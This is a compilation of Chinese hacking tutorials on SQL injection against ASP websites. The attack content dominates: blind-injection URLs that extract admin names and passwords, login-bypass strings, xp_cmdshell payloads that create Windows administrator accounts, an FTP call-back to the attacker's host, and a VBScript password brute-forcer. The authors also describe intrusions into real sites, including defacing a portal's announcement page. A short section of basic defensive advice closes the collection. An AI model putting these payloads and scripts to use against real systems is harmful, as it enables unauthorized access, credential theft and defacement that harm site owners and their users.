(*_*不是啊!不是NAME字段啊)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0)
(这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0)
信息回显正常对吧!?哈哈哈
说到这里整个猜解就差不多完场了!(什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“天晨”是管理员账号。我们就有两种可能性,一是天晨的拼音“tianchen或tinzn”,二是天晨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。然后再提交
http://fj126.com/view.asp?
action=art&art_id=70%20and%201
=(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)这下子页面可算是正常了!然后再次提交语句为
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:tinzn是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于天晨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到本人BLOG或者发Email找我!
浅谈sql注入式(SQL injection)攻击与防范
没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情。
因为要建立自己的站点,3次改版下来,多少也写了几千行程序,加上对一些论坛、留言板、文章发布系统的测试,也发现了一些问题,现在与大家探讨。
在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
1、bak文件泄漏asp源代码
很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过http://www.***.com/config.asp.bak来下载asp源程序。
可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……
解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
2、身份验证被绕过
一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过http://www.***.com/manage.asp直接进入管理界面。
解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入
以下内容为程序代码:
if session("login")<>"ok" then
response.redirect "login.asp"
end if

上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
3、asp程序数据库密码验证漏洞
首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
先来看login.asp文件
以下内容为程序代码:
……


用户名
密码



……

再来看verify.asp文件
以下内容为程序代码:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'关于身份验证
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……

不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:
sql=select * from user where name='admin' --' and pasword='11'
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
方法一:
a、打开网站页面http://www.***.com/login.asp,查看源文件,把提交表单部分
以下内容为程序代码:


用户名
密码



拷贝出来,存到本机login.htm
b、修改action为http://www.***.com/verify.asp,即:
以下内容为程序代码:

用户名
密码


注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了!
d、从本地提交变量
方法二:
Cool.reg
9x用户:
以下内容为程序代码:
REGEDIT4
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/给我加大>
@="c://cool.htm"
"contexts"=dword:00000004

2k用户:
以下内容为程序代码:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/给我加大>
@="c://cool.htm"
"contexts"=dword:00000004

Cool.htm
以下内容为程序代码:

a、拷贝cool.reg的内容,保存,执行并确认。
b、拷贝cool.htm的内容,保存到指定位置,这里是c:/
c、打开网页http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可
当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。
好了,说了这么多恐怖的东东,来看看怎么防范。
(1)过滤提交数据;我们可以通过
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
name=replace(name,"'","’") '替换半角'为全角'
name=replace(exp1,"-","") '替换-为空
name=replace(exp1,";","") '替换;为空
……

或者
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
if InStr(name,"'") or InStr(name,"-") or InStr(name,";") then
response.write("")
response.end
end if
……

具体的过滤条件,或者替换还需要结合实际来使用。
(2)verify.asp文件本身验证的逻辑就是错误的,应该修改为:
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then '这里对输入的密码进行加密处理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:
……
dim name,pwd
name=left(request.form("name"),20)
……

b、在服务器确认提交位置
login.asp
以下内容为程序代码:
……


value="<%=Request.ServerVariables("HTTP_REFERER")%>">
value="<%=Request.ServerVariables("SERVER_NAME%>">
用户名
密码



……

这里传递了2个参数referer,ser_name
verify.asp
以下内容为程序代码:
……
dim referer,ser_name
'取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……

这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
(7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
4、网页传递参数不进行过滤处理
很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
我们可以通过很简单的办法测试是否存在这个问题:
http://www.***.com/show.asp?id=50 and 1=1
如果页面显示正确,基本上可以断定它存在这个问题。
来看看攻击者能做写什么:
(1)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addlogin Cool;--
(2)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_password null,
123456,Cool;--
(3)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addsrvrolemember
Cool,sysadmin;--
(4)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
user Cool 123456 /add';--
(5)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
localgroup administrators Cool /add';--
只要是表单中能提交的,这里基本都可以提交。
(6)猜表名
:http://www.***.com/show.asp?id=50 and
0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
(7)猜字段名:
http://www.***.com/show.asp?id=50 and
0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
(8)在获得tablename和fieldname以后,就可以更进一步了。
比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
a、http://www.***.com/show.asp?id=50 and 0<>
(select count(*) from user where id>1000)
粗略判断用户数量
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
判断id为1的用户的用户名长度是否为10
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(name,n,1)='a')
判断id为1的用户的用户名的第n位是否为a
d、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
判断id为1的用户的密码长度是否为10
e、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(pwd,n,1)='a')
判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
a、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
先确定用户名长度
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
再确定密码长度
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,1,1))<0)
判断用户名第一位是否为中文,如果是中文,一般都是负的好多
如果不是,一般范围都在27~126之间,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<100)
来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
如果是中文,应该小于-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<-10000)
来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
d、同理,可以很快获得密码内容。
这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。 asp?id=980 width=1 height=1>
 用vbs来写sql注入等80端口的攻击脚本
昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse = Test.SendRequest(strURL)
参数:strURL as string:表示所请求的URL
返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:
...
topicid=request("RootID")
sql="select topic,hits from bbs
where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...
非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo
注意:需要装Visual Studio.Net里的ACT工具
*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "开始探测,请等待... ..."
正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
存放密码
pwd = ""
密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
建立对象
Set Test = CreateObject("ACT.Test")
得到用户的密码的长度
For i = 0 to 128 step 1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7%20and%20exists%20
(select%20userid%20from%20student%20where%20len
(userpwd)=" & i & "%20and%20userid=" & username & ")")
如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7%20and%20exists%20
(select%20userid%20from%20student%20where%20left
(userpwd," & j & ")=" & pwd & mid(strings,k,1)
& "%20and%20userid=" & username & ")")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
输出密码
WScript.Echo "密码:" & pwd
End If
Set Test = nothing
SQL注入入侵动网SQL版论坛
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
  一、 首先确定目标
  假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
  继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
  看来已经打上最新的SP4补丁。
  取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库名为: 01city
  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--
  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--
  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
利用SQL注入2分钟入侵网站全程实录
说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧。
  一、下载榕哥的工具包
  小榕哥的这个SQL注入攻击工具包在榕哥的站点http://www.netxeyes.com/main.html可以下载到,不过这个工具太火爆了,下载的人实在太多,你觉得慢的话,可以到其它大的黑软站点搜索一下,绝对可以找到的。
  下载来的这个工具包中总有两个小程序:"wed.exe"和"wis.exe",其中"wis.exe"是用来扫描某个站点中是否存在SQL注入漏洞的;"wed.exe"则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。
  二、寻找SQL注入点
  "wis.exe"使用的格式如下:"wis.exe 网址",这里以笔者检测本地信息港为例:首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。

小提示:在输入网址时,前面的"http://";和最后面的"/"是必不可少的,否则将会提示无法进行扫描。
  输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞,我们随便挑其中一个来做试验,就挑"/rjz/sort.asp?classid=1"吧。

打开浏览器,在地址栏中输入"http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站页面,呵呵,原来是一个下载网页。现在来对它进行SQL注入,破解出管理员的帐号来吧!
 三、SQL注入破解管理员帐号
  现在进入命令窗口中,使用刚才下载的工具包中的"wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。回车后可看到命令运行情况。
小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的"http://";头也还是必不可少的。
  可以看到程序自动打开了工具包中的几个文件,"C:/wed/wed/TableName.dic"、
"C:/wed/wed/UserField.dic"和"C:/wed/wed/PassField.dic",这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的"黑客字典"那么的强大,还用得着去多此一举吗?
  在破解过程中还可以看到"SQL Injection Detected."的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。
  开始等待吧!呵呵,很快就获得了数据库表名"admin",然后得到用户表名和字长,为"username"和"6";再检测到密码表名和字长,为"password"和"8"。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!

正想着手工注入会有多困难时,"wed.exe"程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧!还不到一分钟呢
四、搜索隐藏的管理登录页面
  重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?
  拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!
  再次拿出"wis.exe"程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入
"wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里输入了一个隐藏的参数"/a"。
怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以"/rjz/"开头的登录页面网址,包括"/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用哪个都可以。
  在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp",呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码,就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦,看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小小的通知吧!

看看最后我更改过的主页,冰河洗剑的大名留在了信息港上,不过可没有破坏什么东西啊!我和网页管理员也是朋友,他会原谅我这个小小的玩笑吧!?
三步堵死SQL注入漏洞
SQL注入是什么?
  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
网站的恶梦——SQL注入
  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
防御SQL注入有妙法
  第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试(。
  可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

